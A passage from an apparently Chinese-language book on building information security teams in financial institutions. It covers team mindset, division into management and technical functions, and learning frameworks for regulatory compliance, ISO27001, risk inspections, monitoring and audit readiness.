要保持创新的理念、制度和技术，需要信息安全团队持续不断地跟踪、掌握和研判国内外发展态势，结合自身的深入思考，形成创新的氛围，专项研究创新成果的转化应用。


5.学习意识


当今时代，新理念、新技术层出不穷，新攻击趋向产业化，新漏洞出现常态化，任何在信息安全方面因循守旧的传统金融企业，都可能面临安全防线被攻破的风险。

因此，必须打造学习型的信息安全团队，提高团队全体成员的学习意愿，激发学习潜力，才能保持源源不断的原动力，实现有效的风险防范。

·从信息安全团队负责人开始，就要在思想上提高认识，以身作则地学习，并在整个团队内部达成共识，形成向学习型组织进化的融洽氛围。

·要加强对员工的教育和引导，激发员工的主观能动性，实现从“要我学、要我做”到“我要学、我要做”的转变，使员工的个人追求和个人价值体现与安全团队目标和安全团队价值观保持一致。

·要推动从学习到生产的转化，鼓励员工切实把学习的内容消化、吸收并且变为对工作有帮助的原材料，最终实现事半功倍的产出。

·鼓励和营造团队内部互相交流和探讨的气氛，通过企业内训、员工之间互相培训、内部交流会等形式，达到“1+1>>2”的效果，将个人智慧转化为集体智慧。

通过打造学习型团队，可以提高信息安全团队对信息科技风险的掌控能力，也同时提高对风险的预判和防控能力，既避免“看不见的风险”，又能随时从容应对“已看到的风险”。


6.沟通意识


沟通在任何工作中的重要性都毋庸置疑。对于信息安全团队来说，大量的风险控制工作并非由自身完成，需要通过持续不断的沟通，来实现风险管控的目标。因此，必须在整个团队内部营造随时沟通的融洽氛围，对团队外部注意沟通的方式方法，实现良好的沟通效果。

·通过沟通实现“管理”上级。信息安全工作的目标没有统一范式，必须通过沟通去逐步确定。例如，信息安全工作目标是否与企业战略目标、信息科技战略目标保持一致，信息安全工作相关成本与效益的平衡点如何把控，信息安全投入和管控的重点在哪里，都需要向信息科技部门的负责人、首席信息官、高管层、董事会等做各种各样的报告，通过多轮的沟通，方可确定。因此，需要通过良好的沟通方式，争取上级的支持。为了更好地“管理”上级，需要掌握几个沟通的小技巧：站在上级的角度思考，用数字和事实说话，建立固定的沟通机制（包括时间、频率、汇报模板等），凡事带着解决方案去请示（说明各套方案的优缺点），等等。

·通过沟通横向协调和合作。信息安全工作不是金融企业的主营业务，但是对主营业务会产生一定的制约作用，因此需要加强横向的沟通。与其他部门的沟通、部门内部其他团队的沟通，目的都是为了更好地协作，达成金融企业的整体目标，确保安全这个“大后方”对前沿阵地的有效支持。积极主动地进行横向沟通，向对方讲清楚信息安全工作的必要性和目标，以及对客户、业务、科技其他工作的帮助作用，让大家理解安全不是为了“制约”而是为了“保护”，从而从心底理解和接受信息安全工作的出发点，心甘情愿地配合信息安全团队的工作，这样就能事半功倍，更好地达到风险管控的效果。

·通过沟通管理团队。信息安全团队内部必须建立顺畅的沟通文化，必须通过沟通确保团队成员对工作规划、工作目标、实现方法理解一致。在任何一个团队成员遇到困难时，必须敢于及时提出，并利用团队的力量共同讨论、沟通、协调并解决。

信息安全团队可以这样理解沟通的意义：上级、平级、下级都是可以利用的资源，沟通就是通过努力协调全方位的资源，用于达成信息安全管理的目标，从而实现信息安全对企业目标的支撑和保驾护航作用的过程。




5.5　安全团队能力建设



根据中国信息安全测评中心发布的《中国信息安全从业人员现状调研报告（2017年度）》，我国信息安全从业人员年龄大多在20~40岁之间（占比88.4%），65.9%的人员从业年限在5年以内，仅15%是信息安全专业毕业。可见，信息安全从业人员相对较为年轻，信息安全行业经验较短，且绝大部分并非信息安全专业毕业的“科班生”。因此，该报告得出判断，“整体信息安全人员的职业发展都处于初步成型阶段”。

表面上看这些都是信息安全团队的劣势，但凡事皆有两面性，只要用心加以转化，劣势就可以变为优势。信息安全团队成员虽然普遍从业年限不长，存在一定的知识和技能短板，但年轻的团队处于学习和成长的旺盛期，只要推动组建学习型组织，建立合适的知识结构，形成有效的思维模式，就能推动团队快速进步。

一个好团队的建设标准，可以采用“两个离开”来衡量：

·团队成员要有能力离开，这就要求提升团队成员的知识和技能。

·团队成员不愿意离开，这就要求持续提升团队凝聚力以及团队成员的价值感和归属感。

“能力+意愿”二者的结合，必能打造一支优秀的、战斗力强的团队。其中，团队意愿建设有很大的普适性，已经有大量的书籍和文章研讨，此处不再赘述。团队能力建设具有专业特性，而金融企业信息安全团队的能力建设更是有鲜明的特点和要求，下文将重点阐述。

金融企业团队的信息安全工作涉及面广、安全保障级别高，对信息安全团队的能力建设提出了更高的要求，需要通过恰当的专业分工，一方面让每个成员各司其职，使个人职责范围内的知识和技能提升最大化，另一方面让团队成员之间优势互补，促进团队的整体效率和效能最大化。

信息安全团队能力建设，可以分为以下几个步骤：

1）确定团队工作目标，找准主要矛盾，明确团队整体职责。

2）根据资源情况、团队成员特点，将团队的整体职责进行梳理并细分为若干子团队的职责。

3）根据职责分工，确定各团队成员的知识和技能需求，再根据团队的知识和技能背景，找出差距，制订有针对性的培养提升计划。

4）掌握学习方法，实现事半功倍的效果。

以下依次说明每个步骤的实践方法。




5.5.1　确定目标，找准主要矛盾



金融企业的信息安全工作目标通常分为两部分：

·安全管理类，主要是满足监管合规性要求和防范科技工作流程中的风险。

·安全技术类，主要是通过各种各样的技术防控手段，防范攻击入侵、信息泄露等信息安全风险。

不同发展阶段的金融企业，上述目标的侧重性会不一样。与科技企业、互联网企业等“技术流派”不同的是，金融企业的安全团队往往优先满足第一类目标，因为金融企业面临的监管要求多，合规性是对外经营的基础，必须优先保障制度流程的完善及操作过程的合规。第二类目标一般先通过部署基本的安全工具（如防火墙、防病毒、IDS、WAF等）实现技术防控，再依托第三方安全专业机构的外包资源做渗透测试、漏洞扫描和日常安全监测等。

要根据本企业的特点和信息安全工作发展阶段，抓住当前信息安全团队工作的主要矛盾，确定安全团队的关键职责和团队能力建设的重点：

·如果距监管要求的达成还有较大差距，安全团队就要先把主要精力放在合规性方面，安全技术防控方面先部署基本的技术工具，并适当利用外包资源。此时安全团队的关键职责就是构筑信息安全的底线，开展监管要求符合性分析和差距整改、信息安全管理体系建设、制度流程完善、内部安全检查等工作，将安全技术工具维护和安全外包服务作为辅助职责。

·如果信息安全管理工作已经达到一定水平，就要持续坚持信息科技合规建设不放松，同时加快培养安全技术防控能力。此时安全团队的关键职责需要兼顾管理和技术两方面，在巩固既定的安全管理长效机制的同时，逐步建立一体化、自动化、智能化的纵深防御技术体系，在安全工具和平台的新增引入和升级、安全技术策略的持续优化、安全技术服务的综合化和多样化、安全攻防的深入化等方面下大功夫。




5.5.2　梳理和细分团队职能



金融企业的信息安全团队工作目标、主要矛盾、关键职责等方向性的内容确定后，需要对团队职能开展进一步的细化，明确具体的工作任务。


1.信息安全管理职能


信息安全管理职能，即通过管理手段防范信息科技风险。主要包括：

·主要负责信息安全管理策略、制度、流程的制定和优化，确保各项信息科技监管要求在行内制度和流程中得到贯彻，即“有章可循”。

·对各种监管合规要求、制度流程的执行情况进行检查和监督，确保制度流程在日常工作中落实到位，即“有章必循”。

主要工作职责包括但不限于以下几项：

·负责信息安全整体规划设计和计划管理。组织制订符合金融企业科技规划和风险偏好的信息安全规划，确定信息安全工作的愿景、使命、价值观和发展方向，明确信息安全工作的长期和短期目标，摸查现状和目标的差距，制订具体实施路径；制订年度信息安全工作计划并组织分解任务，确保计划达成。

·负责金融领域信息科技相关监管要求的达成。负责组织落实国家监管机构及行业组织颁布的信息安全管理要求和规章制度要求，对于不符合项组织排查和整改到位；负责向监管机构、行业组织及行内职能部门等报送信息科技风险监测情况，满足监管机构对信息安全的监测要求；保持与监管机构和信息安全机构的良好沟通与联络，掌握同业信息安全管理控制的动态信息，指导内部信息安全工作；建立完善与监管机构、行业组织、重要客户的沟通联络应急机制，保持应急机制的有效性。

·负责信息安全管理体系建设及维护工作。对于需要通过或持续维护ISO27001认证的企业，采用ISO27001信息安全管理体系为标准，借鉴国际信息安全管理最佳实践经验，制定信息安全策略和方针，系统梳理企业信息安全管理存在的风险，采取有效措施防范信息安全风险，提高自身信息安全管理水平；获得由国家权威机构颁发的ISO27001信息安全管理体系认证证书，提升企业形象和外部认可；持续维护信息安全管理体系并每年通过国家权威机构的年审，确保风险管理机制的长期可持续性。

·负责信息科技规章制度和流程的制定和优化完善。收集整理并组织落实国家监管机构及行业组织颁布的信息安全规章制度和管理要求；将外部要求转化为内部制度和流程，建立健全科技规章制度体系，组织规章制度的制定、宣讲、评估、修订、废止等全生命周期管理；组织开展信息科技规章制度检查，检查各项制度流程的执行落实情况，评估制度流程的有效性和可操作性，适时开展制度修订或废止；负责将制度要求落实到内部管理系统中，实现制度要求的技术硬约束。

·负责外部信息安全检查的组织和配合。负责具体组织、协调、配合监管机构、行业组织等外部单位以及内部审计部门、风险管理部门、合规部门等开展的信息科技检查工作；针对监管机构现场或非现场检查、内部审计、外部审计以及风险评估发现的风险，组织落实信息安全风险整改，控制和化解风险。

·负责信息科技内部风险检查和评估。组织信息科技内部合规性检查、风险评估、整改机制的制定和落实，确保风险被主动的发现和整改，总体控制信息科技风险。

·负责组织其他部门和分支机构的信息安全工作。组织对其他部门和分支机构的信息安全现场和非现场检查和监督，确保信息安全制度和要求在全行的贯彻落实。

·负责组织信息科技突发事件的应急处置。组织信息科技突发事件和信息安全攻击事件的监控和分析，向监管部门和行内管理层报告，协调应急处理，控制突发事件带来的影响和损失。

·负责全辖安全团队建设和培训宣传。组织分支机构建立信息安全岗位，负责岗位人员的培养；负责全体员工信息安全意识教育和培训。


2.信息安全技术职能


通俗地讲，信息安全技术职能就是要通过技术措施，实现让攻击者“进不来，拿不走，打不开”的目标：

·“练内功”，致力于提高信息系统自身的健壮性和免疫力，通过制定安全技术规范，确保金融机构的信息系统遵循技术规范设计、开发和运维，减少系统运行的风险和漏洞。

·“防外贼”，在信息系统外围建立“篱笆墙”，通过设计安全技术架构，实施专门的安全技术工具，保护金融企业信息系统及系统中的数据免遭破坏或泄露。

主要工作职责包括但不限于以下几项：

·负责制订企业级的信息安全技术规划和技术架构。明确安全技术防控目标，构建覆盖物理安全、网络安全、系统安全、应用安全、数据安全、桌面安全等全方位的技术规划蓝图，确定技术架构体系；摸查安全技术建设的现状和差距，制订安全技术防控措施的实施路径。

·负责组织制订和落实信息系统安全技术要求。根据监管机构、行业组织等发布的信息安全技术标准和规范，组织在行内的落实和转化；制订覆盖物理安全、网络安全、系统安全、桌面安全的信息安全基线；制订覆盖需求分析、系统设计、编码、测试、投产、运维等全生命周期的应用安全管理技术规范；通过制订规范、宣讲规范、技术评审、落实情况检查、督促整改的闭环机制，分析评估和化解现有信息系统安全技术架构和安全措施存在的问题和漏洞，确保安全基线和安全技术规范在生产运维、应用研发、科技管理等工作中有效贯彻落实。

·负责信息安全基础设施和技术工具的建设和运维。根据整体技术架构，分步骤地实施防病毒、防火墙、入侵检测、漏洞扫描、安全事件管理平台、安全情报分析、安全态势感知平台等信息安全技术措施，负责安全技术策略的建立、调优和维护，开展日常信息安全事件的应急响应和处置，防范安全攻击和入侵风险。

·负责安全漏洞检测和防护。信息系统投产前开展网络、系统、数据库、应用等各层面的漏洞扫描和风险评估，组织漏洞分析排查和修复；组织外部专业安全机构定期开展应用系统渗透性测试，有条件的组建内部渗透性测试队伍，评估漏洞风险等级并制订修复方案；针对外部披露的漏洞信息、病毒风险、威胁情报等，组织应急响应和风险防范；组建内部安全攻防队伍，制订安全事件应急预案并开展攻防演练；组织开展应用系统防病毒、防挂马、防篡改、防钓鱼、抗DDOS攻击等方面的安全监控和应急处置。

·负责组织开展信息系统安全等级保护工作。按照国家信息安全等级保护相关法规和标准，开展定级、备案、自查、测评及整改等工作，实现等级保护“同步规划、同步建设、同步运行”。

·负责信息安全新技术的跟踪研究。组织收集和研究同业信息安全技术及管理发展动态，研究行业信息安全技术发展趋势，提出信息安全技术和管理发展方向建议。

在准确梳理上述信息安全团队职能的基础上，根据信息安全团队人力资源、当年可以投入信息安全工作的财务资源情况，确定本企业当前形势下最关键的信息安全职能是哪几项，然后将关键职能分配至团队成员。最好至少设置安全管理和安全技术两个岗位，在信息安全团队达到一定规模后，可划分为安全管理和安全技术两个小团队，每个小团队中的成员赋予一部分的职责。

上述步骤完成后，就可以形成信息安全团队岗位职责对照表，如表5-1所示。

表5-1　信息安全团队岗位职责对照表







5.5.3　建立学习框架，提升知识和技能水平



所谓“工欲善其事，必先利其器”，在明确目标和绩效指标后，就要通过持续的学习知识和锤炼技能，提升安全团队的专业能力，从而达成目标和绩效指标。

要实现高效的学习和提升，需要先构建学习的框架，然后根据框架对照发现自己的不足，并逐步弥补短板。学习框架主要包括三个方面：

·安全管理类知识和技能。

·安全技术类知识和技能。

·其他补充知识。


1.安全管理类知识和技能


安全管理类的知识和技能可以细分为以下七类。

（1）监管要求和行业组织标准

金融企业的监管要求来源和种类较多，包括国家法律法规，以及监管机构发布的制度、指引、通知、要求、风险提示等，例如《中华人民共和国网络安全法》《商用密码管理条例》等法律法规；银行业的《商业银行信息科技风险管理指引》《商业银行数据中心监管指引》等监管要求；证券业的《证券期货经营机构信息技术治理工作指引》《证券期货业信息安全保障管理办法》等监管要求。

行业组织标准，包括国家标准和行业标准。国家标准包括物理安全相关的GB 50174—2017《数据中心设计规范》、数据安全相关的GB/T 35273—2017《信息安全技术个人信息安全规范》、等级保护相关的GB/T 22239—2008《信息安全技术信息系统安全等级保护基本要求》等；行业标准包括JR/T 0068—2012《网上银行系统信息安全通用规范》、等级保护相关的JR/T 0071—2012《金融行业信息系统信息安全等级保护实施指引》等。

监管要求和行业组织标准异常繁杂，如果全部记住既不现实也没有必要，关键是要能活学活用，这就要求做好归档并形成地图，同时，安全人员的头脑中要形成一个大致框架和索引，需要的时候知道怎样能够搜索和引用。

首先是归档。要收集齐全这些监管要求和行业组织标准并随时更新维护，指定信息安全管理团队成员承担起职责，在每次收到文件后立即集中归档保存，然后按照一定的逻辑形成监管要求文件汇编，建立知识地图。

其次是学习。信息安全人员应该从多个角度反复学习监管要求和行业组织标准，掌握其中的主要概念和要求，形成知识框架。主要的学习方法包括：

·按单个监管要求开展纵向通读，对照本企业的情况排查差距。例如，在GB 50174—2017《数据中心设计规范》更新发布后一个月内，马上组织对照排查物理环境是否满足对应的安全要求。

·按管理领域进行横向整理。例如，网络安全领域，在法律法规、监管要求、行业组织标准中都会涉及，需要从各个文件中摘录，并经过合并、去重，整理形成网络安全相关的汇总要求。

·结合安全检查和风险评估。对照监管要求和行业组织标准，一方面检查制度转化情况，即行内制度和流程是否有对应的转化和贯彻落实；另一方面检查执行情况，即实际的操作过程和信息系统是否满足要求。通过在日常检查中不断回顾和巩固，加深对监管要求和行业组织标准的理解和应用。

（2）信息安全管理体系建设标准

现在越来越多的金融企业选择开展ISO27001信息安全管理体系认证。ISO27001标准，是全球应用最广泛与典型的信息安全管理标准，为金融企业的信息安全管理体系建设提供了很好的参照指南，其理念主要是针对信息资产进行保护，对系统漏洞、黑客入侵、病毒感染等内容进行防范。

最新版的ISO27001标准是2013年修订的版本，共包括14个控制域、35项控制目标和114项控制措施，其内容涵盖了信息安全管理和技术的方方面面，是非常完整和细致的。几乎所有想通过认证的金融企业都不会把认证当作唯一或者主要目标，ISO27001认证的过程，只是在促进金融企业自身完善信息安全管理体系后，由权威机构对信息安全工作进行复核和认可。

ISO27001认证的主要“实惠”是，通过认证的过程，安全团队可以快速掌握信息安全管理体系相关的理论知识，并通过全面、系统地梳理、对照、排查本企业在14个控制域内的安全现状，发现安全短板和漏洞，从而主动化解风险。同时，通过企业内部对安全工作的大力培训和宣传，提升全员安全意识水平。

（3）已有的制度和流程

通常，金融企业制度流程都比较规范，会形成一套涵盖业务、财务、风险、合规、科技等领域的制度体系，这些制度流程是金融企业员工日常工作所参照的依据，信息安全团队必须学习掌握其中信息科技管理和风险管理相关的内容，才能更好地把控企业对于信息科技相关的工作要求。主要包括几个层级的制度：

·企业级制度，属于全辖都需要遵守的规章制度，信息安全团队重点学习其中的风险政策、风险管理办法、保密管理办法、客户信息保护相关管理办法、业务连续性管理办法等。

·其他部门相关制度，例如，审计部门发布的审计准则、审计及整改追踪办法等，风险部门发布的风险管理、评估、监测相关工作指引，合规部门发布的法律事务相关的规章制度等。

·信息科技部门相关制度，金融企业通常都会形成涵盖科技管理、开发、测试、运维、信息安全的一整套制度体系。

对于企业级和其他部门的制度，信息安全管理团队应该有初步了解并形成一个索引，做具体工作的时候知道要遵循哪些相关要求、从哪些制度中寻找依据，同时确保科技规章制度能符合企业级制度的要求，与其他部门制度不相冲突。

对于科技规章制度，则要肩负起制定和维护的职责，自己先学习、掌握，然后组织科技条线内部的学习宣讲，之后通过检查督促执行，最后根据检查结果再检讨制度的合理性，完成制度修订，形成一个全生命周期的闭环和螺旋上升的机制。

（4）监管要求符合性分析和排查的技能

熟悉掌握监管要求，可以说是金融企业信息安全团队的“安身立命之本”。除了对本行业的信息科技监管要求做到烂熟于胸之外，信息安全团队还需要对监管要求进行转化，将其变为在企业内落地的条款，并通过监管要求和企业实际情况的对照分析，排查出本企业的差距，组织实施整改弥补差距。

因此，监管要求符合性分析和排查，是信息安全团队必备和常用的技能。监管要求符合性分析，分为以下两个层次：

第一个层次是企业内部制度是否符合监管要求。每收到一个新的监管要求，需要对其中的每一个条款逐个吃透、理解，然后分析该条款可以有行内哪一份规章制度的哪一个条款来对应。如果没有任何一条制度能达成监管要求，则需要对制度进行补充完善。这一个层次的分析成果就是对照排查结果，以及制度、发文通知等证明材料。

第二个层次是企业内的执行情况是否符合监管要求和制度规定。这就需要针对监管要求，摸查企业内部工作流程的执行情况，搜集执行的记录、日志和证据材料，判断执行过程和结果是否符合监管要求和制度规定。这一个层次的分析成果就是对照排查结果，以及日常执行的记录、项目文档、系统日志等证明材料。

经过上面两个层次的现状分析和差距对比，得出每一项监管要求的差距项分析结果，然后对存在差距的项目，确定整改要求和整改责任机构，由责任机构制订并落实整改方案、整改计划、责任人和计划完成整改时间，并定期反馈整改进展。

监管要求符合性分析工作的输出成果和过程跟踪，可以用一个表格表示，如表5-2所示。

表5-2　监管要求符合性分析对照表示例




（5）信息安全风险检查技能

信息安全风险检查，是信息安全团队的主要工作之一。掌握一定的检查技能，有助于主动发现深层次的风险隐患，有计划性地推动落实整改，实现将风险“扼杀在摇篮中”的目的。

信息安全风险检查，是指通过调研访谈、资料查验、现场核查和穿行测试等方法，评估当前信息安全管理和技术控制的合规性、充分性和有效性，发现存在的信息安全风险，针对发现的风险提出整改要求并监督实施的风险防范及控制过程。信息安全风险检查，检查只是手段，“以查促防”“以查促改”才是最终目的。

信息安全风险检查分为自查、现场检查、非现场检查、飞行检查等多种方式：

·自查方式，由被检查对象自行组成检查组，按照预先制订的检查方案开展信息安全检查，鼓励被检查机构主动充分揭示自身存在的风险隐患，形成“主动揭示风险，主动落实风控措施”的机制。

·现场检查方式，由信息安全团队牵头组建检查小组，制订检查方案和时间安排，在预定的时间范围内进驻被检查单位，按照检查方案开展信息安全风险检查。

·非现场检查方式，由被检查对象提供文档、影像资料、配置文件等证明材料，信息安全团队牵头组建检查小组针对证明材料进行核验，通过材料比对、数据分析、电话访谈等方式，核查事实、发现问题。

·飞行检查方式，属于现场检查中的一类，但与普通现场检查的区别是不提前制订计划，不提前通知，而是突然派出检查组直达被检查对象现场“突袭”检查。检查内容同样覆盖所有的检查列表，目的是检验被检查对象日常信息科技工作情况以及应对突发性检查的能力。

信息安全风险检查过程包括检查准备、检查实施、检查报告、后续整改、总结分析五个阶段。

·检查准备阶段：包括组织成立检查组、制订检查实施方案、明确检查时间安排、通知被检查单位等工作。检查方案中最重要的是信息安全风险检查列表，其中明确了检查项目、检查依据、检查标准、检查方法、抽样要求、发现风险情况、风险级别等，该表涵盖了检查的重点内容，根据监管要求、企业内部制度流程、历年检查情况等每年进行更新、完善并发布。

·检查实施阶段：检查人员通过访谈、调查问卷、现场查验和穿行测试等检查方法，了解被检查对象的信息安全现状，分析信息安全管理和技术控制的合规性、充分性和有效性，识别存在的信息安全风险及隐患，评估发现的信息安全风险等级及影响。

·检查报告阶段：检查实施完成后，检查人员应总结信息安全风险检查情况，向被检查对象的负责人说明检查过程中发现的问题和风险，指出违规情况和风险隐患可能造成的影响，提出明确的整改要求，向被检查单位发出书面的检查报告，对于重大信息安全责任事件予以通报。

·后续整改阶段：被检查对象须根据检查报告组织制订信息安全风险检查整改计划，落实整改工作，同时要求被检查对象按月、按季汇报整改进展。

·总结分析阶段：信息安全团队定期召开专题信息安全风险防控交流会，组织被检查对象总结分析检查发现的风险隐患，剖析风险形成原因，研究防控措施，更好地推动整改和长效机制建立。

风险检查工作的输出成果和过程跟踪，可以用一个表格表示，如表5-3所示。

表5-3　风险检查记录表示例




（6）信息安全风险监测技能

信息科技风险监测，指金融企业针对信息科技活动中的重点风险领域，选取关键风险指标，持续开展风险监测、动态跟踪风险趋势、前瞻研判风险态势并及时采取控制措施的过程。

信息科技风险监测采取以下步骤开展：

1）选取监测指标。根据各领域的管理要求选取可计量的信息科技风险监测指标，以综合反映本企业信息科技风险水平及风险管控能力。指标的选取，应该能够反映企业信息科技风险水平和控制效果，能够涵盖本企业信息科技风险存在的主要环节，反映信息科技各环节工作的风险状况。根据指标性质设置不同的监测频率，可以按月、按季、按年收集。对于每一个指标，要设置合理的阈值，超过阈值范围则说明风险状况需要引起重视，需要分析原因并采取应对措施。

2）数据采集。信息科技风险监测指标由信息科技基础运行数据经采集、加工、计算形成，有系统自动采集的指标，也有人工采集的指标。信息科技部门应保障指标数据的全面性、真实性和准确性，指标数据应当具备可验证、可追溯的数据来源。

3）指标应用。应根据指标监测和分析结果，针对异常情况统筹制订风险应对策略，并具体实施执行。对于监测发现的重大风险，应及时将风险信息和相关应对处置方案报送高级管理层。

4）指标维护。应根据监管要求、信息科技发展状况、风险监测结果、风险关注重点等情况，定期（至少每年一次）进行维护及更新，在发生重大科技变更或其他必要事项时，也应进行指标维护及更新。

风险监测工作的输出成果和过程跟踪，可以用一个表格表示，如表5-4所示。

表5-4　风险监测记录表示例




（7）应对内外部审计和检查的技能

金融企业信息科技部门经常需要接受外部的安全审计、风险评估、检查等工作。监管机构、公安机关、外部审计公司、内部审计部门、风险管理部门、合规部门等，都是信息科技检查的组织者和执行者。

金融企业信息科技部门通常会安排信息安全团队负责迎检工作。此时的信息安全团队摇身一变，由经常检查别人的角色，切换为被检查对象的总协调人。为了保障检查工作的顺利进行，特别需要注意以下几点：

·换位思考，提前预演。在接到检查、审计等通知前，信息安全团队要尽可能先创造机会在内部做一次检查的“演练”，也就是说，将自己代入检查人的角色，按照通知中的检查范围、检查内容，模拟检查方法，先来一次内部检查，对于发现的问题马上组织整改工作。

·资料提交必须真实、完整、准确。信息安全团队要整体把控资料的内容，正式对外提交前对资料进行预审，确保资料来源的真实性和可追溯性，而且要确保资料与检查清单上的要求一一对应，不要“张冠李戴”，也不能有理解的偏差和信息的遗漏。

·要安排合适的人，说合适的话。要预先安排好被访谈的人员，包括负责总协调的唯一接口人和专业领域内的其他责任人。接口人要全面掌握企业的内部信息，有较强的沟通协调能力，能快速反应，灵活调配资源。其他人员要在专业能力上能应对检查内容，沟通方法上能掌握分寸。信息安全团队可以提前做一次迎检培训，讲述迎检的注意事项。要特别注意的是，回答问题时，牢记“问什么答什么”，绝不能答非所问，天马行空地想到什么说什么。


2.安全技术类知识和技能


安全技术类的知识和技能涉及面非常广泛，包罗万象。对于金融企业来说，重点需要掌握以下几方面的安全技术：

·物理环境安全。对于数据中心的访问控制技术、监控、风火水电、消防、温湿度等，了解一些基本的技术参数要求，在检查时会对比知道怎样属于安全范围内即可，无须深入掌握太多技术细节。

·网络安全。网络安全技术比较复杂，往往是攻击的突破口，如果能够掌握基本原理和主要的安全相关技术，对于安全防控大有帮助。主要包括网络设备身份认证措施、网络隔离技术、网络区域划分的规则、网络边界安全、网络访问控制的配置、网络端口控制、网络安全审计日志等。对于关键的安全设备之一—防火墙的原理和配置最好也能有所了解。

·系统安全。主要熟悉操作系统、数据库、中间件等系统软件的安全配置基线，以便通过配置基线的核查比对，发现风险隐患。

·应用安全。主要掌握访问控制和身份验证，以及数据保密性、完整性、可用性等方面的安全技术标准和要求，能够在技术方案评审和投产上线后的安全检查中发挥作用。

·数据安全。主要掌握个人信息的范围，了解数据脱敏技术，以便核查确认个人信息全生命周期保护措施是否完善。了解数据备份原理和技术，以便检查数据备份策略是否有效、数据是否具备恢复能力等。

·终端安全。主要掌握终端安全相关的工具软件的原理，例如域控、终端准入软件、文档安全产品、数据防泄漏等终端安全保护技术，以便在终端安全策略制定和安全检查中发挥作用。

·开发安全。熟悉SDL等开发生命周期中需要遵循的安全技术标准，熟悉需求分析、设计、编码、测试、投产前安全扫描等各阶段的安全基线，以便参与技术评审和检查应用开发中的安全措施是否充分和有效。

·运维安全。熟悉生产运维管理全流程中的风险点，以及堡垒机和系统日志审计、数据库日志审计、应用日志审计等审计工具的使用。

·安全防护工具。防病毒软件、IDS/IPS、WAF、漏洞扫描工具等的熟练维护、事件处置和策略优化。

·渗透测试。了解渗透测试相关的技术、常用工具软件等，以及各类漏洞的原理、攻防方式、漏洞防护策略等。

·安全新技术。包括安全态势感知、安全大数据分析、威胁情报、人工智能等。

·新技术安全。包括移动互联、云计算、大数据、区块链、人工智能等金融科技新技术的风险、安全防范措施和安全防护工具。


3.其他补充知识


要做好安全工作，还需要一些补充知识：

·掌握一些业务方面的知识，包括业务相关且涉及科技系统支持的监管要求，主要的业务逻辑，业务风险控制要求等，以利于技术方案的评审和安全要求在应用系统中的落地实现。

·掌握沟通、协调和关系处理的软技能。详见5.8节“安全团队与其他团队的关系处理”。




5.5.4　掌握学习方法，实现事半功倍的效果



所有的知识和技能，虽然都有变与不变的部分，但是永远不变的是“变化”。因此信息安全团队必须不停地刷新自己的知识和技能框架，调整学习重点，保持与新技术、新理论的同步，方可在不断变化的环境中，始终保持合规性和对风险的有效控制，以及保持对攻击的免疫能力。

由于信息安全相关知识和技能包罗万象、日新月异，掌握一定的学习方法就显得至关重要。


1.安全管理类知识的学习方法


安全管理类工作虽然繁杂，但“万变不离其宗”，要先把监管要求和规章制度等规矩吃透，然后发现本企业在执行方面的风险和短板，最后完成整改和化解风险。参照读书时“先把书读厚、再把书读薄”的法则，安全管理类工作也需要经历“读薄—读厚—再读薄”这样的循环。

（1）“把书读薄”

金融企业面临的监管要求、行业标准层出不穷，行内的制度也通常是以百为单位的数量，要全部记住这些“规矩”基本不太可能。因此需要：

第一步，建立基本原则。分清楚什么样的规矩必须全文吃透，什么样的规矩掌握梗概即可，什么样的规矩只需掌握其中的关键条款。

第二步，区分精读和粗读。对上面第一种情况精读，第二种情况粗读，第三种情况部分粗读、部分精读。

第三步，形成“知识地图”。把规矩中的要点摘记下来，在头脑中形成一张“知识地图”，或者利用一些“脑图”工具实现记录，需要用到的时候可以在“知识地图”中快速检索。这样就实现了“读薄”的效果。

下面举一个银行业监管要求的事例，说明“读薄”的方法。

第一步，建立基本原则。银行业监管要求中关于信息科技风险管理的要求必须全文吃透，因为是信息科技风险管理的纲领性文件，例如《商业银行信息科技风险管理指引》《银行业金融机构外包风险管理指引》等；关于整体风险控制的文件需要掌握梗概，因为信息科技风险是其中的重要组成部分，可能各个条款都与信息科技风险有关联，例如《商业银行内部控制指引》《银行业金融机构全面风险管理指引》《商业银行操作风险管理指引》等；关于业务风险控制的文件只需要掌握关键条款，因为其中大部分管理对象是业务操作，与信息科技风险管理相关的条款通常不多，例如《网络借贷资金存管业务指引》《商业银行委托贷款管理办法》等。

第二步，区分精读和粗读。例如对于《商业银行信息科技风险管理指引》，首先清楚其中涉及信息科技治理、风险管理、审计、信息安全、开发测试、生产运维、业务连续性、外包等八个关键的风险领域，然后针对每个领域，逐个吃透其中每个条款的内容，同步思考为何要提这样的风险控制要求、实际上怎样操作才算满足要求等，这就是精读。对于《银行业金融机构全面风险管理指引》，了解信息科技风险是其中的重要组成部分，指引中规定了风险治理架构、风险管理策略、风险偏好和风险限额、内部控制和审计等各方面的风险要求，重点了解信息科技部门需要参与其中每年一次的风险管理策略回顾、风险评估等工作，并建设完善的风险管理信息系统和信息科技基础设施等，这就是粗读。

第三步，形成“知识地图”。银行业金融机构信息科技风险管理工作涉及面虽广，但是都脱离不了《商业银行信息科技风险管理指引》“八大领域”的框架范畴，因此可以首先以“八大领域”为“知识地图”第一层的主干框架，然后将其他监管要求合并进来。例如，将《银行业金融机构外包风险管理指引》中的主要内容合并到“八大领域”中的“外包管理”领域，将《商业银行数据中心监管指引》中的主要内容合并到“八大领域”中的“信息安全管理”领域（具体说，是其中的“物理安全”子领域）等。以此类推，就可以建立起信息风险管理的监管要求“知识地图”。行内制度也可以参照执行。

（2）“把书读厚”

主要方法就是结合本企业的实际，理解和分析监管要求在本企业的应用落地情况。常见的一种方式是，对照“知识地图”中各领域的要求，逐条分析本企业的制度是否对监管要求进行了转化，以及实际操作流程是否严格执行了监管要求和制度规定。这样就可以将监管要求中的概要描述，转化为企业内细化的规定和流程控制，既可以实现对监管要求更深入、更全面、更细致的理解，又可以使企业流程更加标准化、规范化、精细化。

（3）“把书再次读薄”

主要方法就是在发现本企业与监管要求之间的“缺口”后，分析归纳出主要整改方向和整改要点，把主要的精力和资源放到解决这些问题上，制订整改计划，将短板补齐，逐步让“缺口”越来越小，需要关注的重点也就越来越少。


2.安全技术类知识的学习方法


安全技术方面，涉及的领域非常广泛，各种技术类书籍、文章或者工具使用指南可以说是“汗牛充栋”，这里不讲具体技术内容，只讲所有技术学习共性的“套路”。

这个套路用几句话概括，就是学习的四个境界：“不知道不知道”“知道不知道”“知道知道”“不知道知道”。

第一步，从“不知道不知道”进化到“知道不知道”。要有“空杯心态”，不停地发现自己的短板，知道自己该学什么。针对自己工作的重点，分析自己在哪方面的技术存在差距，然后针对差距列出学习清单，针对清单上的内容逐项确定自己需要学习掌握的程度—精通、熟悉还是了解即可。根据工作需要去学习，会比为了学习而学习的效果好很多。

